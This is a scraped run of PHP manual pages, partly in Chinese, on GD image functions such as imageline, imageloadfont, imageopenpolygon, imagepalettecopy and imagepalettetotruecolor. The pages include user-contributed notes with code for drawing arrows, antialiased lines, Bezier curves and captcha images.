ruturaj_v at yahoo dot com 14-May-2004 08:48
here is a function that helps you create arrows...

<?php
function get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang) {
    $debug = false;

    define("INFINITE", 'INFINITE');
    if (($x2-$x1)==0) {
        if ($y1 == 0) {
            $slope = 0;
        } else {
            $slope = INFINITE;
        }
    } else {
        $slope = -($y2-$y1)/($x2-$x1);
    }

    //$slope = number_format($slope, 2, '.','');
    if ($slope == 'INFINITE') {
        $ang = 90;
    } else {
        $ang = atan ($slope);
        $ang = ($ang * 180)/pi();
    }
    //$ang = number_format($ang, 2, '.', '');
    //echo ($ang);
    //exit;

    //convert the angle
    $arrang1 = ($ang - $arrang);
    $arrangdeg1 = ($ang - $arrang);
    //echo ($arrang1);exit;
    $arrang1 = ($arrang1*pi())/180;

    $arrang2 = ($ang + $arrang);
    $arrangdeg2 = ($ang + $arrang);
    $arrang2 = ($arrang2*pi())/180;
    //echo ($arrang1);

    $arx1 = (floor(cos($arrang1)*$arrhead));
    $ary1 = (floor(sin($arrang1)*$arrhead));
    $arx2 = (floor(cos($arrang2)*$arrhead));
    $ary2 = (floor(sin($arrang2)*$arrhead));
    if ($debug) {
        echo ("Values of arx1.. before add/sub</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$arx2,$ary2</br>");
    }
    if ($ang==0) {
        if ($x2 > $x1) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif ($x2 < $x1) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang > 0 && $ang < 90) {
        if (($x2 > $x1) && ($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 > $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }
    if ($ang==90) {
        if (($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 - $ary2;
        } elseif (($y2 < $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        }
    }
    if ($ang > -90 && $ang < 0) {
        if (($x2 > $x1) && ($y2 > $y1)) {
            $arx1 = $x2 - $arx1;    $ary1 = $y2 + $ary1;
            $arx2 = $x2 - $arx2;    $ary2 = $y2 + $ary2;
        } elseif (($x2 < $x1) && ($y2 < $y1)) {
            $arx1 = $x2 + $arx1;    $ary1 = $y2 - $ary1;
            $arx2 = $x2 + $arx2;    $ary2 = $y2 - $ary2;
        }
    }

    if ($debug) {
        echo ("Angle of line is (".$ang*180/pi().")</br>");
        echo ("Angle of line1 is $arrangdeg1</br>");
        echo ("Angle of line2 is $arrangdeg2</br>");
        echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$x2,$y2</br>");
        echo ("$arx2,$ary2&nbsp;&nbsp;&nbsp;$x2,$y2");
        exit;
    }

    $array_arrows = array (
                    'x1' =>$arx1,
                    'y1' => $ary1,
                    'x2' => $arx2,
                    'y2' => $ary2
                    );
    return $array_arrows;

}

$x1 = 200; $y1 = 200;
$x2 = 400; $y2 = 100;
$arrhead = 15; //10px
$arrang = 10; //10 deg

$ar_arrws = get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang);

$im  = imagecreate (400, 400);
$w   = imagecolorallocate ($im, 255, 255, 255);
$red = imagecolorallocate ($im, 255, 0, 0);

//creates the base line
imageline ($im, $x1, $y1, $x2, $y2, $green);
imageline ($im, $x1+1, $x2+1, $y1+1, $y2+1, $red);
imageline ($im, $x2, $y2, $ar_arrws['x1'], $ar_arrws['y1'], $green);
imageline ($im, $x2, $y2, $ar_arrws['x2'], $ar_arrws['y2'], $green);

?>
yl at sota dot ch 14-Apr-2004 09:44
Simple function to create border for jpg-images:

function createImageBorder($imgName){

     $img     =  substr($imgName, 0, -4); // remove fileExtension
     $ext     = ".jpg";
     $quality = 95;
     $borderColor = 255;  // 255 = white

    /*
     a                         b
     +-------------------------+
     |
     |          IMAGE
     |
     +-------------------------+
     c                         d
    */

    $scr_img = imagecreatefromjpeg($img.$ext);
    $width   = imagesx($scr_img);
    $height  = imagesy($scr_img);

        // line a - b
        $abX  = 0;
        $abY  = 0;
        $abX1 = $width;
        $abY1 = 0;

        // line a - c
        $acX  = 0;
        $acY  = 0;
        $acX1 = 0;
        $acY1 = $height;

        // line b - d
        $bdX  = $width-1;
        $bdY  = 0;
        $bdX1 = $width-1;
        $bdY1 = $height;

        // line c - d
        $cdX  = 0;
        $cdY  = $height-1;
        $cdX1 = $width;
        $cdY1 = $height-1;

       // DRAW LINES
        imageline($scr_img,$abX,$abY,$abX1,$abY1,$borderColor);
        imageline($scr_img,$acX,$acY,$acX1,$acY1,$borderColor);
        imageline($scr_img,$bdX,$bdY,$bdX1,$bdY1,$borderColor);
        imageline($scr_img,$cdX,$cdY,$cdX1,$cdY1,$borderColor);

      // create copy from image
        imagejpeg($scr_img, $img."_border.jpg", $quality);
        imagedestroy($scr_img);
  }

    createImageBorder("myfile.jpg");
mueller at inf dot ufsc dot br 05-Jan-2004 12:26
an algorithm to draw a bezier spline

<?php

$segmentos =30;
$x=array(0,10,80,30);
$y=array(0,10,40,50);

function bezier($p,$steps){
    $t = 1 / $steps;
    $temp = $t * $t;
    $ret = array();
    $f = $p[0];
    $fd = 3 * ($p[1] - $p[0]) * $t;
    $fdd_per_2=3*($p[0]-2*$p[1]+$p[2])*$temp;
    $fddd_per_2=3*(3*($p[1]-$p[2])+$p[3]-$p[0])*$temp*$t;
    $fddd = $fddd_per_2 + $fddd_per_2;
    $fdd = $fdd_per_2 + $fdd_per_2;
    $fddd_per_6 = $fddd_per_2 * (1.0 / 3);
    for ($loop=0; $loop<$steps; $loop++) {
        array_push($ret,$f);
        $f = $f + $fd + $fdd_per_2 + $fddd_per_6;
        $fd = $fd + $fdd + $fddd_per_2;
        $fdd = $fdd + $fddd;
        $fdd_per_2 = $fdd_per_2 + $fddd_per_2;
    }
    return $ret;
}

$by = bezier($y,$segmentos);
$bx = bezier($x,$segmentos);
header ("Content-type: image/jpeg");
$tam = 200;
$im = imagecreate($tam,$tam);
$background_color = imagecolorallocate ($im, 200, 200, 200);
$tc = imagecolorallocate ($im, 233, 14, 91);
for($i=0;$i<$segmentos-1;$i++)
    imageline($im,$bx[$i],$tam-$by[$i],$bx[$i+1],$tam-$by[$i+1],$tc);
imagejpeg($im);
imagedestroy($im);
?>
code_couturier at graffiti dot net 17-Oct-2003 11:56
# antialiased draw_line function 1.1 (faster)

# here is a drawLine() posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

# here are some changes i made:
# 1. changed for true-color images (no index_var used)
# 2. changed rgb extraction to logical shift
# 3. reducing function call's

function drawQSLine ($image,$x1,$y1,$x2,$y2,$r,$g,$b) {
$icr=$r;
$icg=$g;
$icb=$b;
 $dcol = ImageColorAllocate ($image,$icr,$icg,$icb);
 if ($y1 == $y2) imageline ($image,$x1,$y1,$x2,$y1,$dcol);
 else if ($x1 == $x2) {
   imageline ($image,$x1,$y1,$x1,$y2,$dcol);
 } else {
 $m = ($y2 - $y1) / ($x2 - $x1);
 $b = $y1 - $m * $x1;

 if (abs ($m) <2) {

 $x = min ($x1,$x2);
 $endx = max ($x1,$x2)+1;

 while ($x < $endx) {
 $y=$m * $x + $b;
 $y == floor ($y) ? $ya = 1 : $ya = $y - floor ($y);
 $yb = ceil ($y) - $y;

 $trgb = ImageColorAt($image,$x,floor($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,floor ($y),imagecolorallocate ($image,($tcr * $ya + $icr * $yb),
($tcg * $ya + $icg * $yb),
($tcb * $ya + $icb * $yb)));

 $trgb = ImageColorAt($image,$x,ceil($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,ceil ($y),imagecolorallocate ($image,($tcr * $yb + $icr * $ya),
($tcg * $yb + $icg * $ya),
($tcb * $yb + $icb * $ya)));

 $x ++;
 } # while_x_end
 } # if_end
 else { # else_abs_end

 $y = min ($y1,$y2);
 $endy = max ($y1,$y2)+1;

 while ($y < $endy) {
 $x=($y - $b) / $m;
 $x == floor ($x) ? $xa = 1 : $xa = $x - floor ($x);
 $xb = ceil ($x) - $x;

 $trgb = ImageColorAt($image,floor($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,floor ($x),$y,imagecolorallocate ($image,($tcr * $xa + $icr * $xb),
($tcg * $xa + $icg * $xb),
($tcb * $xa + $icb * $xb)));

 $trgb = ImageColorAt($image,ceil($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,ceil ($x),$y,imagecolorallocate ($image, ($tcr * $xb + $icr * $xa),
($tcg * $xb + $icg * $xa),
($tcb * $xb + $icb * $xa)));

 $y ++;
 }# while_y_end
 }# else_abs_end
 }# else_y=y_x=x_end
}# drawOSLine_end
code_couturier at graffiti dot net 01-Oct-2003 09:33
# antialiased lines with true-type-fonts !?
# yip, it works - not very good - but faster
# (below 3 sec) than other routines (~7 sec)
# i saw here.

# the antialiased effect is minimal and only
# at the top of the line - but, as better as
# nothing ;)

# here is a drawLine routine from Logan Gunthorpe
# (logang at deltatee dot com) posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

function drawSoftLine ($image, $x1, $y1, $x2, $y2, $r,$g,$b) {

$fontfile="arial.ttf"; # the font for the dot
$str="?" ; # the point_char for the dot
$size=12; # the point for the dot_size

 $color = ImageColorAllocate ($image, $r,$g,$b);

 if ($x2 == $x1) {
 $tmp = $x1; $x1 = $y1; $y1 = $tmp;
 $tmp = $x2; $x2 = $y2; $y2 = $tmp;
 $swapx = true;
 }

 $m = (float)(( $y2 - $y1 ) / ( $x2 - $x1 ));
 $b = (float)($y1 - $m*$x1);

 $strx = min ( $x1 , $x2 );
 $endx = max ( $x1 , $x2 );
 $x=(int)0;

# the original loop was based on one for_loop
# with the if_swap inside. to speed up this loop
# i double it, to keep off the permanent if_call's.

if (!$swapx) {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $x, $y,
   $color, $fontfile,$str);
 }
} else {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $y, $x,
   $color, $fontfile,$str);
  }
}

}
nanobot at chipx86 dot com 17-Jun-2003 05:28
Here is a function for making antialiased lines:

 function imagesmoothline ( $image , $x1 , $y1 , $x2 , $y2 , $color )
 {
  $colors = imagecolorsforindex ( $image , $color );
  if ( $x1 == $x2 )
  {
   imageline ( $image , $x1 , $y1 , $x2 , $y2 , $color ); // Vertical line
  }
  else
  {
   $m = ( $y2 - $y1 ) / ( $x2 - $x1 );
   $b = $y1 - $m * $x1;
   if ( abs ( $m ) <= 1 )
   {
    $x = min ( $x1 , $x2 );
    $endx = max ( $x1 , $x2 );
    while ( $x <= $endx )
    {
     $y = $m * $x + $b;
     $y == floor ( $y ) ? $ya = 1 : $ya = $y - floor ( $y );
     $yb = ceil ( $y ) - $y;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , floor ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $ya + $colors['red'] * $yb;
     $tempcolors['green'] = $tempcolors['green'] * $ya + $colors['green'] * $yb;
     $tempcolors['blue'] = $tempcolors['blue'] * $ya + $colors['blue'] * $yb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , floor ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , ceil ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $yb + $colors['red'] * $ya;
      $tempcolors['green'] = $tempcolors['green'] * $yb + $colors['green'] * $ya;
     $tempcolors['blue'] = $tempcolors['blue'] * $yb + $colors['blue'] * $ya;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , ceil ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $x ++;
    }
   }
   else
   {
    $y = min ( $y1 , $y2 );
    $endy = max ( $y1 , $y2 );
    while ( $y <= $endy )
    {
     $x = ( $y - $b ) / $m;
     $x == floor ( $x ) ? $xa = 1 : $xa = $x - floor ( $x );
     $xb = ceil ( $x ) - $x;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , floor ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xa + $colors['red'] * $xb;
     $tempcolors['green'] = $tempcolors['green'] * $xa + $colors['green'] * $xb;
     $tempcolors['blue'] = $tempcolors['blue'] * $xa + $colors['blue'] * $xb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , floor ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , ceil ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xb + $colors['red'] * $xa;
     $tempcolors['green'] = $tempcolors['green'] * $xb + $colors['green'] * $xa;
     $tempcolors['blue'] = $tempcolors['blue'] * $xb + $colors['blue'] * $xa;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , ceil ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $y ++;
    }
   }
  }
 }

EDITOR: My previous code contained bugs. Please use this one instead.
kramesch_NOSPAM_ at _nospam_idsolutions dot at 26-Feb-2002 01:44
Here is a simple code to draw a line with an arbitrary stroke. The parameter aStroke is treated as a cyclic boolean array where true equals "set a point"
e.g. $aDotStroke = array(true,false);

function ImageStrokeLine($im,$x1,$y1,$x2,$y2,$farbe, $aStroke)
  {
    $deltax = abs($x2 - $x1);
    $deltay = abs($y2 - $y1);
    $x = $x1;
    $y = $y1;

    if ($x2 >= $x1)
    {
      $xinc1 = 1;
      $xinc2 = 1;
    }
    else
    {
      $xinc1 = -1;
      $xinc2 = -1;
    }

    if ($y2 >= $y1)
    {
      $yinc1 = 1;
      $yinc2 = 1;
    }
    else
    {
      $yinc1 = -1;
      $yinc2 = -1;
    }

    if ($deltax >= $deltay)
    {
      $xinc1 = 0;
      $yinc2 = 0;
      $den = $deltax;
      $num = $deltax / 2;
      $numadd = $deltay;
      $numpixels = $deltax;
    }
    else
    {
      $xinc2 = 0;
      $yinc1 = 0;
      $den = $deltay;
      $num = $deltay / 2;
      $numadd = $deltax;
      $numpixels = $deltay;
    }

    for ($curpixel = 0; $curpixel <= $numpixels; $curpixel++)
    {
      if ($iStrokeCount >= count($aStroke))
      {
        $iStrokeCount = 0;
      }

      if ($aStroke[$iStrokeCount++])
      {
        ImageSetPixel($im,$x, $y,$farbe);
      }
      $num += $numadd;
      if ($num >= $den)
      {
        $num -= $den;
        $x += $xinc1;
        $y += $yinc1;
      }
      $x += $xinc2;
      $y += $yinc2;
    }
  }
darren at php4hosting dot com 28-Oct-2000 10:48
It does work (With a bit of editing)
save the following as graph.php (You dont need any directorys)

<?php
Header("Content-type: image/png");
$picWidth=360*2;
$picHeight=200;
$pic=ImageCreate($picWidth+1,$picHeight+1);
$cWhite=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic,0,0,$picWidth+1,$picHeight+1,$cWhite);
$cRed=ImageColorAllocate($pic,255,0,0);
$cBlue=ImageColorAllocate($pic,0,0,255);
$curX=0;
$curY=$picHeight;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(cos(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cRed);
$curX=$newX;
$curY=$newY;
}
$curX=0;
$curY=$picHeight/2;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(sin(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cBlue);
$curX=$newX;
$curY=$newY;
}
$cBlack=ImageColorAllocate($pic,0,0,0);
ImageLine($pic,0,0,0,$picHeight,$cBlack);
ImageLine($pic,0,$picHeight/2,$picWidth,$picHeight/2,$cBlack);
ImagePNG($pic);
ImageDestroy($pic);
?>


载入新字体

  • ? imageline
  • imageopenpolygon ?
  • PHP Manual
  • GD 和图像处理 函数
  • 载入新字体

imageloadfont

(PHP 4, PHP 5, PHP 7, PHP 8)

imageloadfont — 载入新字体

说明

imageloadfont(string $filename): GdFont|false

imageloadfont() 加载用户定义的点阵字体并返回其标识符。

参数

filename

字体文件格式目前是二进制且依赖于体系结构。这意味着应该用跟运行 PHP 相同类型 CPU 的机器生成字体。

字体文件格式
字节位置 | C 数据类型 | 说明
byte 0-3 | int | 字体中的字符数
byte 4-7 | int | 字体中第一个字符的值（通常 32 代表空格）
byte 8-11 | int | 每个字符宽度的像素值
byte 12-15 | int | 每个字符高度的像素值
byte 16- | char | 字符数据的数组，每字符中每像素 1 字节，一共（nchars*width*height）字节。

返回值

返回 GdFont 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 GdFont 实例；之前返回 int。

示例

Example #1 imageloadfont() 用法示例

<?php
// Create a new image instance
$im = imagecreatetruecolor(50, 20);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Make the background white
imagefilledrectangle($im, 0, 0, 49, 19, $white);

// Load the gd font and write 'Hello'
$font = imageloadfont('./04b.gdf');
imagestring($im, $font, 0, 0, 'Hello', $black);

// Output to browser
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

参见

  • imagefontwidth() - 获取字体宽度
  • imagefontheight() - 获取字体高度

User Contributed Notes

siker at norwinter dot com 28-Aug-2005 06:37
Working under the assumption that the only 'architecture dependant' part of the font files is endianness, I wrote a quick and dirty Python script to convert between the two. It has only been tested on a single font on a single machine so don't bet your life on it working. All it does is swap the byte order of the first four ints.

#!/usr/bin/env python

f = open("myfont.gdf", "rb");
d = open("myconvertedfont.gdf", "wb");

for i in xrange(4):
        b = [f.read(1) for j in xrange(4)];
        b.reverse();
        d.write(''.join(b));

d.write(f.read());

I successfully used this script to convert anonymous.gdf, from one of the font links below, into something useable on Mac OS X.
matthew at exanimo dot com 15-Aug-2005 10:28
Remember - GD fonts aren't antialiased.  If you're planning on using a pre-existing (TrueType) font, you may want to consider using imagettftext() instead of phillip's function.
alex at bestgames dot ro 02-Jul-2005 05:01
Confirmation code generation for preventing automated registrations on a website.

Function arguments are:
$code - the code that you shall random generate
$location - relative location of the image that shall be generated
$fonts_dir - relative location for the GDF fonts directory

This function will create an image with the code given by you and will save it in the directory specified with the name formed by MD5 hash of the code.

You may insert as many font types in the fonts directory as you wish, with random names.

<?php
function generate_image($code, $location, $fonts_dir)
{
     $image  = imagecreate(150, 60);
     imagecolorallocate($image, rand(0, 100), rand(100, 150), rand(150, 250));
     $fonts = scandir($fonts_dir);

     $max = count($fonts) - 2;

     $width = 10;
     for ($i = 0; $i <= strlen($code); $i++)
     {
         $textcolor = imagecolorallocate($image, 255, 255, 255);
         $rand = rand(2, $max);
         $font = imageloadfont($fonts_dir."/".$fonts[$rand]);

         $fh = imagefontheight($font);
         $fw = imagefontwidth($font);

         imagechar($image, $font, $width, rand(10, 50 - $fh), $code[$i], $textcolor);
          $width = $width + $fw;

     }

     imagejpeg($image, $location."/".md5($code).".jpg", 100);
     imagedestroy($image);

     return $code;

}

?>
angryziber at mail dot com 23-Aug-2000 07:23
You all should look at the GD image library site for information on extra fonts, it can be found at http://www.boutell.com/gd/


Draws an open polygon

  • ? imageloadfont
  • imagepalettecopy ?
  • PHP Manual
  • GD 和图像处理 函数
  • Draws an open polygon

imageopenpolygon

(PHP 7 >= 7.2.0, PHP 8)

imageopenpolygon — Draws an open polygon

说明

Signature as of PHP 8.0.0 (not supported with named arguments)

imageopenpolygon(GdImage $image, array $points, int $color): bool

Alternative signature (deprecated as of PHP 8.1.0)

imageopenpolygon(
GdImage $image,
array $points,
int $num_points,
int $color
): bool

imageopenpolygon() draws an open polygon on the given image. Contrary to imagepolygon(), no line is drawn between the last and the first point.

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

points

An array containing the polygon's vertices, e.g.:

points[0] | = x0
points[1] | = y0
points[2] | = x1
points[3] | = y1

num_points

Total number of points (vertices), which must be at least 3.

If this parameter is omitted as per the second signature, points must have an even number of elements, and num_points is assumed to be count($points)/2.
color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | The parameter num_points has been deprecated.
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imageopenpolygon() example

<?php
// Create a blank image
$image = imagecreatetruecolor(400, 300);

// Allocate a color for the polygon
$col_poly = imagecolorallocate($image, 255, 255, 255);

// Draw the polygon
imageopenpolygon($image, array(
0, 0,
100, 200,
300, 200
),
3,
$col_poly);

// Output the picture to the browser
header('Content-type: image/png');

imagepng($image);
imagedestroy($image);
?>

以上示例的输出类似于：

Output of example : imageopenpolygon()

参见

  • imagepolygon() - 绘制多边形

User Contributed Notes

marco at oostende dot nl 16-Dec-2018 11:56
In case you want to use an open polygon but are stuck with a PHP version prior to 7.2, a solution may be to 'backplot' your array to its original start. Say you have an array of pixels (below seperated by commas)

<?php
$arr = array();
for ($i = 0; $i < count($pixels); $i++) {
    $pixel = explode(',', $pixels[$i]);
    if (($pixel[0] > 0) && ($pixel[1] > 0)) {
        $arr[] = $pixel[0];
        $arr[] = $pixel[1];
    }
}
imagepolygon($im, $arr, (count($arr) / 2), $otcolor);
?>

you can replace this by something like

<?php
$arr = array();
for ($i = 0; $i < count($pixels); $i++) {
    $pixel = explode(',', $pixels[$i]);
    $arr[] = $pixel[0];
    $arr[] = $pixel[1];
}
// imageopenpolygon($im, $arr, (count($arr) / 2), $otcolor) is not possible, so...
for ($i = (count($pixels)-1); $i >= 0; $i--) {
    $pixel = explode(',', $pixels[$i]);
    $arr[] = $pixel[0];
    $arr[] = $pixel[1];
}
imagepolygon($im, $arr, (count($arr) / 2), $otcolor);
?>


将调色板从一个图像复制到另一个

  • ? imageopenpolygon
  • imagepalettetotruecolor ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将调色板从一个图像复制到另一个

imagepalettecopy

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

imagepalettecopy — 将调色板从一个图像复制到另一个

说明

imagepalettecopy(GdImage $dst, GdImage $src): void

imagepalettecopy() 把调色板从 src 图像复制到 dst 图像。

参数

dst

目标图像对象。

src

源图像对象。

返回值

没有返回值。

更新日志

版本 | 说明
8.0.0 | dst 和 src 现在接受 GdImage 实例；之前接受 resource。

示例

Example #1 imagepalettecopy() 示例

<?php
// Create two palette images
$palette1 = imagecreate(100, 100);
$palette2 = imagecreate(100, 100);

// Allocate the background to be
// green in the first palette image
$green = imagecolorallocate($palette1, 0, 255, 0);

// Copy the palette from image 1 to image 2
imagepalettecopy($palette2, $palette1);

// Since the palette is now copied we can use the
// green color allocated to image 1 without using
// imagecolorallocate() twice
imagefilledrectangle($palette2, 0, 0, 99, 99, $green);

// Output image to the browser
header('Content-type: image/png');

imagepng($palette2);
imagedestroy($palette1);
imagedestroy($palette2);
?>

User Contributed Notes

buzz at nospam dot oska dot com 20-Oct-2005 04:51
actually it doesn't "copy" the palette exactly.  It copys the colors from the source palette to the destination image.   the palette you end up with in the destination image will be "same colors different order".   If you want an EXACT palette copy (at the expense of messing up your image if you aren't careful), then use this code:
<?
// this is a drop-in replacement for imagepalettecopy, except that it make NO attempt to modifiy any of the
// colors in the dest image, just the palette.   The result?  if you're palette's aren't very similar, the image will look completely different, and likely terrible!
function imagepalettecopy_exact ( $dst_img, $src_img) {
    for( $c = 0 ; $c < imagecolorstotal($src_img); $c++) {
        $col = imagecolorsforindex($src_img,$c);  //get color at index 'c' in the color table
        imagecolorset($dst_img,$c,$col[red],$col[green],$col[blue]); //set color at index 'c' to $col in the $dst_image
    }
}

?>
Los Olvidados 09-Jan-2003 04:55
To be precise, this function replaces the palette in the destination.


Converts a palette based image to true color

  • ? imagepalettecopy
  • imagepng ?
  • PHP Manual
  • GD 和图像处理 函数
  • Converts a palette based image to true color

imagepalettetotruecolor

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imagepalettetotruecolor — Converts a palette based image to true color

说明

imagepalettetotruecolor(GdImage $image): bool

Converts a palette based image, created by functions like imagecreate() to a true color image, like imagecreatetruecolor().

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

返回值

Returns true if the convertion was complete, or if the source image already is a true color image, otherwise false is returned.

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 Converts any image object to true color

<?php
// Backwards compatiblity
if(!function_exists('imagepalettetotruecolor'))
{
function imagepalettetotruecolor(&$src)
{
if(imageistruecolor($src))
{
return(true);
}

$dst = imagecreatetruecolor(imagesx($src), imagesy($src));

imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
imagedestroy($src);

$src = $dst;

return(true);
}
}

// Helper closure
$typeof = function() use($im)
{
echo 'typeof($im) = ' . (imageistruecolor($im) ? 'true color' : 'palette'), PHP_EOL;
};

// Create a palette based image
$im = imagecreate(100, 100);
$typeof();

// Convert it to true color
imagepalettetotruecolor($im);
$typeof();

// Free the memory
imagedestroy($im);
?>

以上示例会输出：

typeof($im) = palette
typeof($im) = true color

参见

  • imagecreatetruecolor() - 新建真彩色图像
  • imageistruecolor() - 检查图像是否为真彩色图像

User Contributed Notes

walf - iftfy 17-Mar-2017 03:46
here the working version of walf's solution

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($dst, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>
Polda18 30-Apr-2014 02:44
PHP ver 5.4.24 does not support this function (it has not been defined). To get rid of this, you must copy image resource to new image created by function imagecreatetruecolor();

Example with image loaded from GIF file:

$image  = imagecreatefromgif("path/to/gif/file.gif");  //create an image from GIF
$width  = imagesx($image);                             //get width of source image
$height = imagesy($image);                             //get height of source image
$image2 = imagecreatetruecolor($width,$height);        //create new image of true colors with given width and height
imagecopy($image2,$image,0,0,0,0,$width,$height);      //copy source image to new one

header("Content-Type: image/jpeg");                    //set header for JPG image
imagejpg($image2);                                     //render JPg image into browser

imagedestroy($image);                                  //free up memory
imagedestroy($image2);
walf 21-Mar-2014 06:20
The backwards compatibility example does not preserve transparency. You must first wipe out the default black background on the new image:

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($new_image, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, $imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>


将 PNG 图像输出到浏览器或文件

  • ? imagepalettetotruecolor
  • imagepolygon ?
  • PHP Manual
  • GD 和图像处理 函数
  • 将 PNG 图像输出到浏览器或文件

imagepng

(PHP 4, PHP 5, PHP 7, PHP 8)

imagepng — 将 PNG 图像输出到浏览器或文件

说明

imagepng(
GdImage $image,
resource|string|null $file = null,
int $quality = -1,
int $filters = -1
): bool

